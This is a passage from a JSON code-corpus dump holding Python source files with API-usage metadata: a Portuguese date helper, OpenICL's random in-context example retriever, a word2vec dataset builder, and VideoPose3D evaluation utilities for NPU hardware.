"torch.nn.ReLU", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 215, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 228, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 228, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 234, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 236, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 241, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 255, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 255, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 264, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 264, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 265, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 276, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 276, "usage_type": "name"}, {"api_name": "SpecialTopic.ST.utils.to_2tuple", "line_number": 285, "usage_type": "call"}, {"api_name": "SpecialTopic.ST.utils.to_2tuple", "line_number": 286, "usage_type": "call"}, {"api_name": "SpecialTopic.ST.utils.to_2tuple", "line_number": 287, "usage_type": "call"}, {"api_name": "build.build_conv", "line_number": 288, "usage_type": "call"}, {"api_name": "build.build_norm", "line_number": 291, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 304, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 304, "usage_type": "name"}, {"api_name": "build.build_norm", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.nn.Identity", "line_number": 315, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 315, "usage_type": "name"}, {"api_name": "build.build_norm", "line_number": 316, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 326, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 326, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 332, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 332, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 333, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 333, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 334, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 334, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 335, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 335, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 353, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 353, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 354, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 361, "usage_type": "name"}, {"api_name": "build.build_activation", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 363, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 364, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 372, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 372, "usage_type": "name"}, {"api_name": "torch.rand", "line_number": 384, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 393, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 393, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 405, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 405, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 409, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 414, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 419, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 445, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 445, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 450, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 450, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 451, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 451, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 457, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 457, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 457, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 471, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 471, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 482, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 484, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 486, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 488, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 490, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 490, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 500, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 500, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 501, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 501, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 521, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 522, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 525, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 525, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 557, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 557, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 568, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 572, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 572, "usage_type": "name"}, {"api_name": "torch.nn.MultiheadAttention", "line_number": 582, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 582, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 583, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 583, "usage_type": "name"}, {"api_name": "build.build_dropout", "line_number": 584, "usage_type": "call"}, {"api_name": "torch.nn.Identity", "line_number": 584, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 584, "usage_type": "name"}]} {"seq_id": "26555278418", "text": "import datetime\nimport pytz\n\n\n\n\ndef days_new_year():\n date_now = datetime.datetime.now()\n new_year = datetime.datetime(date_now.year + 1, 1, 1)\n diff = new_year - date_now\n return diff.days\n\n\n\n\n\ndef get_date_info():\n # Obtém a data atual\n data_atual = datetime.datetime.now( pytz.timezone('America/Sao_Paulo'))\n\n # Obtém o dia da semana como um número (0 = segunda-feira, 6 = domingo)\n dia_da_semana = data_atual.weekday()\n\n # Nomes abreviados dos meses\n nomes_mes_abreviados = ['Jan', 'Fev', 'Mar', 'Abr', 'Mai', 'Jun', 'Jul', 'Ago', 'Set', 'Out', 'Nov', 'Dez']\n month_name = nomes_mes_abreviados[data_atual.month - 1]\n\n # Nomes dos dias da semana\n nomes_dias_semana = ['Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-feira', 'Sexta-feira', 'Sábado', 'Domingo']\n dia_semana = nomes_dias_semana[dia_da_semana]\n\n # Cria um dicionário com as informações\n informacoes = {\n 'date': data_atual.strftime(f'%d {month_name} %Y'),\n 'hour': data_atual.strftime('%H:%M'),\n 'day_week': dia_semana,\n 'month': month_name\n }\n\n return informacoes\n\n", "repo_name": "reinanbr/api_create_thumb_cardapio", "sub_path": "src/tools/date.py", "file_name": "date.py", "file_ext": "py", "file_size_in_byte": 1130, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.now", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 19, "usage_type": "call"}]} {"seq_id": "35319895451", "text": "'''Random Retriever'''\n\nfrom openicl import DatasetReader\nfrom openicl.icl_retriever import BaseRetriever\nfrom openicl.utils.logging import get_logger\nfrom typing import List, Union, Optional\nfrom tqdm import trange\nimport numpy as np\nfrom accelerate import Accelerator\n\nlogger = get_logger(__name__)\n\n\nclass RandomRetriever(BaseRetriever):\n \"\"\"Random In-context Learning Retriever Class\n Class of Random Retriever.\n \n Attributes:\n dataset_reader (:obj:`DatasetReader`): An instance of the :obj:`DatasetReader` class.\n ice_separator (:obj:`str`, optional): A string that separates each in-context example.\n ice_eos_token (:obj:`str`, optional): A string that is added to the end of in-context examples.\n prompt_eos_token (:obj:`str`, optional): A string that is added to the end of the prompt.\n ice_num (:obj:`int`, optional): The number of data in the in-context examples.\n index_split (:obj:`str`, optional): A string for the index dataset name. The index dataset is used to select data for in-context examples. Defaults to ``train``.\n test_split (:obj:`str`, optional): A string for the generation dataset name. The test dataset is used to generate prompts for each data. Defaults to ``test``.\n index_ds (:obj:`Dataset`): The index dataset. Used to select data for in-context examples.\n test_ds (:obj:`Dataset`): The test dataset. Used to generate prompts for each data.\n accelerator (:obj:`Accelerator`, optional): An instance of the :obj:`Accelerator` class, used for multiprocessing.\n seed (`int`, optional): Seed for the random number generator.\n \"\"\"\n\n def __init__(self,\n dataset_reader: DatasetReader,\n ice_separator: Optional[str] = '\\n',\n ice_eos_token: Optional[str] = '\\n',\n prompt_eos_token: Optional[str] = '',\n ice_num: Optional[int] = 1,\n index_split: Optional[str] = 'train',\n test_split: Optional[str] = 'test',\n seed: Optional[int] = 43,\n accelerator: Optional[Accelerator] = None\n ) -> None:\n super().__init__(dataset_reader, ice_separator, ice_eos_token, prompt_eos_token, ice_num, index_split,\n test_split, accelerator)\n self.seed = seed\n\n def retrieve(self):\n np.random.seed(self.seed)\n num_idx = len(self.index_ds)\n rtr_idx_list = []\n logger.info(\"Retrieving data for test set...\")\n for _ in trange(len(self.test_ds), disable=not self.is_main_process):\n idx_list = np.random.choice(num_idx, self.ice_num, replace=False).tolist()\n rtr_idx_list.append(idx_list)\n return rtr_idx_list\n", "repo_name": "Shark-NLP/OpenICL", "sub_path": "openicl/icl_retriever/icl_random_retriever.py", "file_name": "icl_random_retriever.py", "file_ext": "py", "file_size_in_byte": 2774, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 460, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openicl.utils.logging.get_logger", "line_number": 11, "usage_type": "call"}, {"api_name": "openicl.icl_retriever.BaseRetriever", "line_number": 14, "usage_type": "name"}, {"api_name": "openicl.DatasetReader", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 41, "usage_type": "name"}, {"api_name": "accelerate.Accelerator", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tqdm.trange", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 53, "usage_type": "attribute"}]} {"seq_id": "5629421312", "text": "import re\nimport io\nfrom ..configuration import *\nfrom ..preprocess_data import load_csv_wikipedia_gen, load_csv_dataset, group_count\n\n\ndef load_word2vec_data(filename, vocabulary_size=VOCABULARY_SIZE):\n \"\"\"\n Loads the word2vec data: the dictionary file with the relation of the word with its int id,\n the dataset as a list of list of ids and a dictionary with the frequency of the words in\n the dataset.\n :param str filename: name of the file with the word2vec dataset, the dictionary file and the\n frequency file are generated with the suffixes _dict and _count based on this fiename\n :return (Dict[str,int], List[List[int]], Dict[int,float]: a tuple with a dictionary for the\n symbols and a list of sentences where each sentence is a list of int and a dictionary with\n the frequencies of the words\n \"\"\"\n filename = '{}_{}'.format(filename, vocabulary_size)\n filename_dict = '{}_dict'.format(filename)\n filename_count = '{}_count'.format(filename)\n with open(os.path.join(DIR_DATA_WORD2VEC, filename_dict), 'r') as f:\n symbols_dict = { }\n for line in f.readlines():\n data = line.split()\n symbol = data[0]\n encoded = int(data[1])\n symbols_dict[symbol] = encoded\n encoded_text = []\n with open(os.path.join(DIR_DATA_WORD2VEC, filename), 'r') as f:\n for line in f.readlines():\n encoded_text.append([int(word) for word in line.split()])\n total_count = 0\n with open(os.path.join(DIR_DATA_WORD2VEC, filename_count), 'r') as f:\n word_frequency_dict = { }\n for line in f.readlines():\n line = line.strip()\n if len(line) > 0:\n data = line.split(' = ')\n symbol = symbols_dict[data[0].strip()]\n count = int(data[1].strip())\n if symbol in symbols_dict:\n word_frequency_dict[symbol] += count\n else:\n word_frequency_dict[symbol] = count\n total_count += count\n for key in word_frequency_dict.keys():\n word_frequency_dict[key] = float(word_frequency_dict[key]) / total_count\n\n return symbols_dict, encoded_text, word_frequency_dict\n\n\ndef load_or_create_dataset_word2vec(filename, text_samples, vocabulary_size=VOCABULARY_SIZE):\n \"\"\"\n Loads the dataset for word2vec or creates it from the text_samples if the file doesn't exits.\n Three files are generated: dictionary file, word frequency file and dataset file. The dataset\n file already contains the ids instead of the words. The vocabulary is truncated to fit the\n vocabulary size, the less frequent words are transformed into the unknown id (the number 0)\n :param str filename: filename prefix of the dataset\n :param List[List[str]] text_samples: list of list of words\n :param int vocabulary_size: the final size of the vocabulary\n :return (Dict[str,int], List[List[int]], Dict[int,float]: a tuple with a dictionary for the\n symbols and a list of sentences where each sentence is a list of int and a dictionary with\n the frequencies of the words\n \"\"\"\n filename_vocabulary = '{}_{}'.format(filename, vocabulary_size)\n filename_dict = '{}_dict'.format(filename_vocabulary)\n filename_count = '{}_count'.format(filename_vocabulary)\n filename_tsv = '{}.tsv'.format(filename_vocabulary)\n if not os.path.exists(os.path.join(DIR_DATA_WORD2VEC, filename_vocabulary)):\n text_lines = []\n for text_sample in text_samples:\n sentences = re.split('\\n|\\s\\.\\s', text_sample.lower())\n for sentence in sentences:\n words = sentence.split()\n if len(words) > 0:\n words.append('.')\n words = list([word.strip().lower() for word in words])\n text_lines.append(words)\n symbols_count = group_count(text_lines)\n symbols_ordered_by_count = sorted(symbols_count.items(), key=lambda x: x[1], reverse=True)\n total_symbols = len(symbols_ordered_by_count)\n print('Total symbols: {}'.format(total_symbols))\n print('Vocabulary size: {}'.format(vocabulary_size))\n unknown_symbols = symbols_ordered_by_count[vocabulary_size - 1:]\n known_symbols = symbols_ordered_by_count[:vocabulary_size - 1]\n symbols_dict = { }\n for symbol, _ in unknown_symbols:\n symbols_dict[symbol] = 0\n counter = 1\n for symbol, _ in known_symbols:\n symbols_dict[symbol] = counter\n counter += 1\n encoded_text = []\n\n words_count = 0\n for sentence in text_lines:\n words_count += len(sentence)\n encoded_sentence = []\n for word in sentence:\n encoded_sentence.append(symbols_dict[word])\n if len(encoded_sentence) > 0:\n encoded_text.append(encoded_sentence)\n print('Total sentences: {}'.format(len(text_lines)))\n print('Total words: {}'.format(words_count))\n print('words/sentences: {}'.format(float(words_count) / float(len(text_lines))))\n\n with io.open(os.path.join(DIR_DATA_WORD2VEC, filename_dict), 'w', encoding='utf8') as f:\n for symbol in sorted(symbols_dict.keys()):\n f.write(u'{} {}\\n'.format(symbol, symbols_dict[symbol]))\n with io.open(os.path.join(DIR_DATA_WORD2VEC, filename_vocabulary), 'w',\n encoding='utf8') as f:\n for sentence in encoded_text:\n f.write(u' '.join(str(word) for word in sentence))\n f.write(u'\\n')\n with io.open(os.path.join(DIR_DATA_WORD2VEC, filename_count), 'w', encoding='utf8') as f:\n for symbol, count in symbols_ordered_by_count:\n f.write(u'{} = {}\\n'.format(symbol, count))\n with io.open(os.path.join(DIR_DATA_WORD2VEC, filename_tsv), 'w', encoding='utf8') as f:\n f.write(u'word\\tcount\\tid\\n')\n f.write(u'_UNKOWN_\\t{}\\t0\\n'.format(len(unknown_symbols)))\n pos = 1\n for symbol, count in known_symbols:\n f.write(u'{}\\t{}\\t{}\\n'.format(symbol, count, pos))\n pos += 1\n\n return load_word2vec_data(filename)\n\n\nif __name__ == '__main__':\n import logging\n logging.getLogger().setLevel(logging.INFO)\n print('Generate text for Word2Vec model... (without using test data)')\n train_set = load_csv_dataset('train_set_numbers_parsed')\n genes_articles = load_csv_wikipedia_gen('wikipedia_mutations_parsed')\n word2vec_text = [s.text for s in genes_articles] + [s.text for s in train_set]\n symbols_dict, word2vec_encoded_text, word_frequency = load_or_create_dataset_word2vec(\n 'word2vec_dataset', word2vec_text)\n", "repo_name": "jorgemf/kaggle_redefining_cancer_treatment", "sub_path": "src/w2v/word2vec_process_data.py", "file_name": "word2vec_process_data.py", "file_ext": "py", "file_size_in_byte": 6750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.split", "line_number": 72, "usage_type": "call"}, {"api_name": "preprocess_data.group_count", "line_number": 79, "usage_type": "call"}, {"api_name": "io.open", "line_number": 107, "usage_type": "call"}, {"api_name": "io.open", "line_number": 110, "usage_type": "call"}, {"api_name": "io.open", "line_number": 115, "usage_type": "call"}, {"api_name": "io.open", "line_number": 118, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 131, "usage_type": "attribute"}, {"api_name": "preprocess_data.load_csv_dataset", "line_number": 133, "usage_type": "call"}, {"api_name": "preprocess_data.load_csv_wikipedia_gen", "line_number": 134, "usage_type": "call"}]} {"seq_id": "72866983582", "text": "import torch\nif torch.__version__ >= '1.8':\n import torch_npu\nimport torch.distributed as dist\nimport numpy as np\nimport hashlib\nfrom common.generators import UnchunkedGenerator\nfrom common.loss import *\nimport logging\n\nlogger = logging.getLogger(__name__)\n\ndef wrap(func, *args, unsqueeze=False):\n \"\"\"\n Wrap a torch function so it can be called with NumPy arrays.\n Input and return types are seamlessly converted.\n \"\"\"\n \n # Convert input types where applicable\n args = list(args)\n for i, arg in enumerate(args):\n if type(arg) == np.ndarray:\n args[i] = torch.from_numpy(arg)\n if unsqueeze:\n args[i] = args[i].unsqueeze(0)\n \n result = func(*args)\n \n # Convert output types where applicable\n if isinstance(result, tuple):\n result = list(result)\n for i, res in enumerate(result):\n if type(res) == torch.Tensor:\n if unsqueeze:\n res = res.squeeze(0)\n result[i] = res.numpy()\n return tuple(result)\n elif type(result) == torch.Tensor:\n if unsqueeze:\n result = result.squeeze(0)\n return result.numpy()\n else:\n return result\n \ndef deterministic_random(min_value, max_value, data):\n digest = hashlib.sha256(data.encode()).digest()\n raw_value = int.from_bytes(digest[:4], byteorder='little', signed=False)\n return int(raw_value / (2**32 - 1) * (max_value - min_value)) + min_value\n\n\ndef fetch(subjects, keypoints, dataset, args, action_filter=None, subset=1, parse_3d_poses=True):\n out_poses_3d = []\n out_poses_2d = []\n out_camera_params = []\n for subject in subjects:\n for action in keypoints[subject].keys():\n if action_filter is not None:\n found = False\n for a in action_filter:\n if action.startswith(a):\n found = True\n break\n if not found:\n continue\n \n poses_2d = keypoints[subject][action]\n for i in range(len(poses_2d)): # Iterate across cameras\n out_poses_2d.append(poses_2d[i])\n \n if subject in dataset.cameras():\n cams = dataset.cameras()[subject]\n assert len(cams) == len(poses_2d), 'Camera count mismatch'\n for cam in cams:\n if 'intrinsic' in cam:\n out_camera_params.append(cam['intrinsic'])\n \n if parse_3d_poses and 'positions_3d' in dataset[subject][action]:\n poses_3d = dataset[subject][action]['positions_3d']\n assert len(poses_3d) == len(poses_2d), 'Camera count mismatch'\n for i in range(len(poses_3d)): # Iterate across cameras\n out_poses_3d.append(poses_3d[i])\n \n if len(out_camera_params) == 0:\n out_camera_params = None\n if len(out_poses_3d) == 0:\n out_poses_3d = None\n \n stride = args.downsample\n if subset < 1:\n for i in range(len(out_poses_2d)):\n n_frames = int(round(len(out_poses_2d[i])//stride * subset)*stride)\n start = deterministic_random(0, len(out_poses_2d[i]) - n_frames + 1, str(len(out_poses_2d[i])))\n out_poses_2d[i] = out_poses_2d[i][start:start+n_frames:stride]\n if out_poses_3d is not None:\n out_poses_3d[i] = out_poses_3d[i][start:start+n_frames:stride]\n elif stride > 1:\n # Downsample as requested\n for i in range(len(out_poses_2d)):\n out_poses_2d[i] = out_poses_2d[i][::stride]\n if out_poses_3d is not None:\n out_poses_3d[i] = out_poses_3d[i][::stride]\n \n\n return out_camera_params, out_poses_3d, out_poses_2d\n\n\ndef evaluate(test_generator, model_pos, model_traj, joints_left, joints_right, gpu, action=None, return_predictions=False, use_trajectory_model=False):\n epoch_loss_3d_pos = 0\n epoch_loss_3d_pos_procrustes = 0\n epoch_loss_3d_pos_scale = 0\n epoch_loss_3d_vel = 0\n loc = f'npu:{gpu}'\n with torch.no_grad():\n if not use_trajectory_model:\n model_pos.eval()\n else:\n model_traj.eval()\n N = 0\n # count_idx = 0\n for _, batch, batch_2d in test_generator.next_epoch():\n inputs_2d = torch.from_numpy(batch_2d.astype('float32'))\n # print(f\"inputs_2d.shape:{inputs_2d.shape} for {count_idx} in rank {dist.get_rank()}\")\n # count_idx += 1\n if torch.npu.is_available():\n inputs_2d = inputs_2d.to(loc)\n\n # Positional model\n if not use_trajectory_model:\n predicted_3d_pos = model_pos(inputs_2d)\n else:\n predicted_3d_pos = model_traj(inputs_2d)\n\n # Test-time augmentation (if enabled)\n if test_generator.augment_enabled():\n # Undo flipping and take average with non-flipped version\n predicted_3d_pos[1, :, :, 0] *= -1\n if not use_trajectory_model:\n # due to certain mechanism in npu, cast type before and after assignment\n predicted_3d_pos = torch_npu.npu_format_cast(predicted_3d_pos, 0)\n predicted_3d_pos[1, :, joints_left + joints_right] = predicted_3d_pos[1, :, joints_right + joints_left]\n predicted_3d_pos = torch_npu.npu_format_cast(predicted_3d_pos, 3)\n predicted_3d_pos = torch.mean(predicted_3d_pos, dim=0, keepdim=True)\n \n if return_predictions:\n return predicted_3d_pos.squeeze(0).cpu().numpy()\n \n inputs_3d = torch.from_numpy(batch.astype('float32'))\n if torch.npu.is_available():\n inputs_3d = inputs_3d.to(loc)\n inputs_3d[:, :, 0] = 0 \n if test_generator.augment_enabled():\n inputs_3d = inputs_3d[:1]\n\n error = mpjpe(predicted_3d_pos, inputs_3d)\n \n epoch_loss_3d_pos_scale += inputs_3d.shape[0]*inputs_3d.shape[1] * n_mpjpe(predicted_3d_pos, inputs_3d).item()\n\n epoch_loss_3d_pos += inputs_3d.shape[0]*inputs_3d.shape[1] * error.item()\n N += inputs_3d.shape[0] * inputs_3d.shape[1]\n \n inputs = inputs_3d.cpu().numpy().reshape(-1, inputs_3d.shape[-2], inputs_3d.shape[-1])\n predicted_3d_pos = predicted_3d_pos.cpu().numpy().reshape(-1, inputs_3d.shape[-2], inputs_3d.shape[-1])\n\n epoch_loss_3d_pos_procrustes += inputs_3d.shape[0]*inputs_3d.shape[1] * p_mpjpe(predicted_3d_pos, inputs)\n\n # Compute velocity error\n epoch_loss_3d_vel += inputs_3d.shape[0]*inputs_3d.shape[1] * mean_velocity_error(predicted_3d_pos, inputs)\n # assert 1==2 \n # if action is None:\n # logger.info('----------')\n # else:\n # logger.info('----'+action+'----')\n e1 = (epoch_loss_3d_pos / N)*1000\n e2 = (epoch_loss_3d_pos_procrustes / N)*1000\n e3 = (epoch_loss_3d_pos_scale / N)*1000\n ev = (epoch_loss_3d_vel / N)*1000\n # print('Test time augmentation:', test_generator.augment_enabled())\n # print('Protocol #1 Error (MPJPE):', e1, 'mm')\n # print('Protocol #2 Error (P-MPJPE):', e2, 'mm')\n # print('Protocol #3 Error (N-MPJPE):', e3, 'mm')\n # print('Velocity Error (MPJVE):', ev, 'mm')\n # print('----------')\n\n e1 = torch.tensor(e1, dtype=error.dtype, device=error.device)\n e2 = torch.tensor(e2, dtype=error.dtype, device=error.device)\n e3 = torch.tensor(e3, dtype=error.dtype, device=error.device)\n ev = torch.tensor(ev, dtype=error.dtype, device=error.device)\n\n return e1, e2, e3, ev\n\n\ndef fetch_actions(args, actions, keypoints, dataset):\n out_poses_3d = []\n out_poses_2d = []\n\n for subject, action in actions:\n poses_2d = keypoints[subject][action]\n for i in range(len(poses_2d)): # Iterate across cameras\n out_poses_2d.append(poses_2d[i])\n\n poses_3d = dataset[subject][action]['positions_3d']\n assert len(poses_3d) == len(poses_2d), 'Camera count mismatch'\n for i in range(len(poses_3d)): # Iterate across cameras\n out_poses_3d.append(poses_3d[i])\n\n stride = args.downsample\n if stride > 1:\n # Downsample as requested\n for i in range(len(out_poses_2d)):\n out_poses_2d[i] = out_poses_2d[i][::stride]\n if out_poses_3d is not None:\n out_poses_3d[i] = out_poses_3d[i][::stride]\n \n return out_poses_3d, out_poses_2d\n\n\ndef run_evaluation(args, actions, model_pos, model_traj, keypoints, dataset, pad, causal_shift, kps_left, kps_right, joints_left, joints_right, action_filter=None):\n errors_p1 = []\n errors_p2 = []\n errors_p3 = []\n errors_vel = []\n\n for action_key in actions.keys():\n if action_filter is not None:\n found = False\n for a in action_filter:\n if action_key.startswith(a):\n found = True\n break\n if not found:\n continue\n\n poses_act, poses_2d_act = fetch_actions(args, actions[action_key], keypoints, dataset)\n gen = UnchunkedGenerator(args, None, poses_act, poses_2d_act,\n pad=pad, causal_shift=causal_shift, augment=args.test_time_augmentation,\n kps_left=kps_left, kps_right=kps_right, joints_left=joints_left, joints_right=joints_right)\n e1, e2, e3, ev = evaluate(gen, model_pos, model_traj, joints_left, joints_right, args.gpu, action_key)\n\n # e1_list = [torch.zeros_like(e1) for _ in range(args.num_gpus)]\n # dist.all_gather(e1_list,e1)\n # e1 = torch.tensor(e1_list)\n # e1 = e1.mean()\n\n # e2_list = [torch.zeros_like(e2) for _ in range(args.num_gpus)]\n # dist.all_gather(e2_list,e2)\n # e2 = torch.tensor(e2_list)\n # e2 = e2.mean()\n\n # e3_list = [torch.zeros_like(e3) for _ in range(args.num_gpus)]\n # dist.all_gather(e3_list,e3)\n # e3 = torch.tensor(e3_list)\n # e3 = e3.mean()\n\n # ev_list = [torch.zeros_like(ev) for _ in range(args.num_gpus)]\n # dist.all_gather(ev_list,ev)\n # ev = torch.tensor(ev_list)\n # ev = ev.mean()\n\n dist.all_reduce(e1)\n e1 = e1/args.num_gpus\n e1 = e1.cpu().numpy()\n dist.all_reduce(e2)\n e2 = e2/args.num_gpus\n e2 = e2.cpu().numpy()\n dist.all_reduce(e3)\n e3 = e3/args.num_gpus\n e3 = e3.cpu().numpy()\n dist.all_reduce(ev)\n ev = ev/args.num_gpus\n ev = ev.cpu().numpy()\n\n errors_p1.append(e1)\n errors_p2.append(e2)\n errors_p3.append(e3)\n errors_vel.append(ev)\n\n # print(f\"errors_p1:{errors_p1} for rank {args.rank}\")\n # emp1 = torch.tensor(errors_p1,device=e1.device)\n # emp1 = emp1.mean()\n # print(f\"emp1:{emp1} for rank {args.rank}\")\n # emp1 = emp1.mean()\n # emp2 = torch.tensor(errors_p2,device=e1.device)\n # emp2 = emp2.mean()\n # emp3 = torch.tensor(errors_p3,device=e1.device)\n # emp3 = emp3.mean()\n # emv = torch.tensor(errors_vel,device=e1.device)\n # emv = emv.mean()\n\n if args.rank % args.num_gpus == 0:\n logger.info(f'Protocol #1 (MPJPE) action-wise average:{round(np.mean(errors_p1), 1)}mm')\n logger.info(f'Protocol #2 (P-MPJPE) action-wise average:{round(np.mean(errors_p2), 1)}mm')\n logger.info(f'Protocol #3 (N-MPJPE) action-wise average:{round(np.mean(errors_p3), 1)}mm')\n logger.info(f'Velocity (MPJVE) action-wise average:{round(np.mean(errors_vel), 2)}mm')\n\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/video/VideoPose3D/common/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 11724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.__version__", "line_number": 2, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 38, "usage_type": "attribute"}, {"api_name": "hashlib.sha256", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.npu.is_available", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 124, "usage_type": "attribute"}, {"api_name": "torch_npu.npu_format_cast", "line_number": 139, "usage_type": "call"}, {"api_name": "torch_npu.npu_format_cast", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.from_numpy", 